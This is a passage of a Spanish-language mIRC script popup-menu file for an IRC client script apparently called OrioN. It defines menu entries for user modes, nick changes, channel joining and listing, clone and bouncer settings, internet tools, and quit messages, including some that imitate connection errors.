n85=  echo -s $oriontheme(sSeparadorLine)  
n86=  echo -s Tu IDLE (retardo) ha sido
n87=  echo -s Segundos: %s
n88=  echo -s Minutos: $int(%m)
n89=  echo -s Horas: $int(%h)
n90=  echo -s $oriontheme(sSeparadorLine)
n91=  unset %s %m %h
n92=}
n93=-
n94=$iif(!$server,$style(2)) UserMode
n95=.Invisible (+i): mode $me +i
n96=.wall ops (+w): mode $me +w
n97=.snotice (+s): mode $me +s
n98=.secure (+r): mode $me +r
n99=.ip virtual (+x): mode $me +x
n100=.-
n101=.otro: mode $me + $+ $$?="Escribe la letra"
n102=.-
n103=.ircop
n104=..ponerme: oper $me $$?*"Escribe la pass" 
n105=..quitarme: ircop: mode -o $me 
n106=-
n107=Nicks
n108=.¿cambiar?: $$?="¿Que nick quieres ponerte?" | nick $!
n109=.-
n110=. %nick0: nick %nick0
n111=. %nick1: nick %nick1
n112=. %nick2: nick %nick2
n113=. %nick3: nick %nick3
n114=. %nick4: nick %nick4
n115=. %nick5: nick %nick5
n116=. %nick6: nick %nick6
n117=. %nick7: nick %nick7
n118=Canales
n119=.Gestor canales: dialog -m canales canales
n120=.-
n121=.$iif(!$server,$style(2)) entra en un canal: join 
n122=.$iif(!$server,$style(2)) canal con password: joinpass
n123=.$iif(!$server,$style(2)) entra y salir: set %e-s #$$?="¿A que canal? (sin#)" | join %e-s | .timersalcanal 1 2 part %e-s | unset %e-s   
n124=.$iif(!$server,$style(2)) cerrar todos los canales: partall
n125=.-
n126=.$iif(!$server,$style(2)) canales preferidos
n127=.. canal 1= %canal-1: join %canal-1
n128=.. canal 2= %canal-2: join %canal-2
n129=.. canal 3= %canal-3: join %canal-3
n130=.. canal 4= %canal-4: join %canal-4
n131=.. canal 5 = %canal-5: join %canal-5
n132=.. canal 6 = %canal-6: join %canal-6
n133=.. canal 7= %canal-7: join %canal-7
n134=.. canal 8= %canal-8: join %canal-8
n135=.. canal 9= %canal-9: join %canal-9
n136=.-
n137=.$iif(!$server,$style(2)) listar canales
n138=..con 0 usuarios: list -max 0
n139=..con 3 usuarios: list -min 3  -max 3
n140=..con 5 usuarios: list  -min 5  -max 5 
n141=..con 10 usuarios: list -min 10 -max 10
n142=..con 20 usuarios: list -min 20 -max 20
n143=..con mas de 20 usuarios: list -min 20
n144=..-
n145=..$iif(!$server,$style(2)) especificar cifra de usuairos:{
n146=  set %min,usuarios #$?="Escribe el numero minimo de usuarios (inclusive)" 
n147=  set %max,usuarios  #$?="Escribe el numero maximo de usuarios (inclusive)"   list -min %min,usuarios -max %max,usuarios
n148=}
n149=..-
n150=..$iif(!$server,$style(2)) especificar el tema del canal: list #$?="¿Que tema?"
n151=.- 
n152=. $iif(!$server,$style(2)) $read -l1 $mircdirsistema\txts\canales.txt : join $read -l1  $mircdirsistema\txts\canales.txt 
n153=. $iif(!$server,$style(2)) $read -l2  $mircdirsistema\txts\canales.txt : join $read -l2 $mircdirsistema\txts\canales.txt  
n154=. $iif(!$server,$style(2)) $read -l3  $mircdirsistema\txts\canales.txt : join $read -l3  $mircdirsistema\txts\canales.txt 
n155=. $iif(!$server,$style(2)) $read -l4  $mircdirsistema\txts\canales.txt : join $read -l4  $mircdirsistema\txts\canales.txt 
n156=. $iif(!$server,$style(2)) $read -l5 $mircdirsistema\txts\canales.txt : join $read -l5 $mircdirsistema\txts\canales.txt 
n157=. $iif(!$server,$style(2)) $read -l6 $mircdirsistema\txts\canales.txt : join $read -l6 $mircdirsistema\txts\canales.txt 
n158=. $iif(!$server,$style(2)) $read -l7 $mircdirsistema\txts\canales.txt : join $read -l7 $mircdirsistema\txts\canales.txt 
n159=. $iif(!$server,$style(2)) $read -l8 $mircdirsistema\txts\canales.txt : join $read -l8 $mircdirsistema\txts\canales.txt 
n160=. $iif(!$server,$style(2)) $read -l9 $mircdirsistema\txts\canales.txt : join $read -l9 $mircdirsistema\txts\canales.txt 
n161=. $iif(!$server,$style(2)) $read -l10 $mircdirsistema\txts\canales.txt : join $read -l10 $mircdirsistema\txts\canales.txt 
n162=.-
n163=.$iif(!$server,$style(2)) users de un canal?: who #$$?="Nombre del canal (sin #)"
n164=-
n165=$iif(!$server,$style(2)) Privado: query $$?="Nick para privado?"
n166=-
n167=F-server: dialog -m fserver fserver
n168=Away: dialog -m away away
n169=Clon
n170=.clonstatus: @clon
n171=.config: dialog -m clon clon
n172=.nick clon:/ %nickorionclon = $$?="Pon nuevo nick para clon"
n173=.-
n174=.Bouncer: bouncer
n175=-
n176=Internet
n177=.WWW
n178=..GOOGLE: google
n179=..-
n180=..Agenda URL: dialog -m agendaurl agendaurl
n181=.Correo
n182=..enviar mail: run $mircdirsistema\sendmail\EnvioMail.exe 
n183=..gestor: dialog -m email email
n184=..e-mailer: runer email $$?="Escirbe la cuenta de correo"
n185=.SMS: sms
n186=.Telnet: telnet
n187=.FTP: /ftp
n188=.Radio: dialog -m radio radio
n189=.Stat - inet: run $mircdirsistema\bats\nstat.bat
n190=.OrioN: dialog -m oriongestor oriongestor 
n191=-
n192=Limpiar: clear $active
n193=-
n194=$iif(!$server,$style(2)) Salir IRC
n195=.salir con msg
n196=..%quitmsg1 : quit %quitmsg1
n197=..%quitmsg2 : quit %quitmsg2
n198=..%quitmsg3 : quit %quitmsg3
n199=..-
n200=..predefinir... %quitmsg1 : set %quitmsg1 $$?="Texto del mensaje para el quit-1?"
n201=...%quitmsg2 : set %quitmsg2 $$?="Texto del mensaje para el quit-2?"
n202=...%quitmsg3 : set %quitmsg3 $$?="Texto del mensaje para el quit-3?"
n203=..-
n204=..otro?: quit $$?="Texto del mensaje para el quit-1?"
n205=.salir sin msg: quit
n206=.-
n207=.salidas falsas
n208=..Ping timeout: quit Ping timeout for $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93)
n209=..Connection reset by peer: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection reset by peer
n210=..Connection refused: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection refused
n211=..Write error: quit Write error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : closing link
n212=..Protocol not available: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Protocol not available
n213=.-
n214=.salir y cerrar: quit | exit
n215=.-
n216=.cerrar
n217=..privados:/close m 
n218=..fserver:/close f
n219=..canales
n220=...con mensaje:/partall $$?="Escribe el mensaje"
n221=...sin mensaje:/partall
n222=..todos los canales
n223=..OrioN:  exit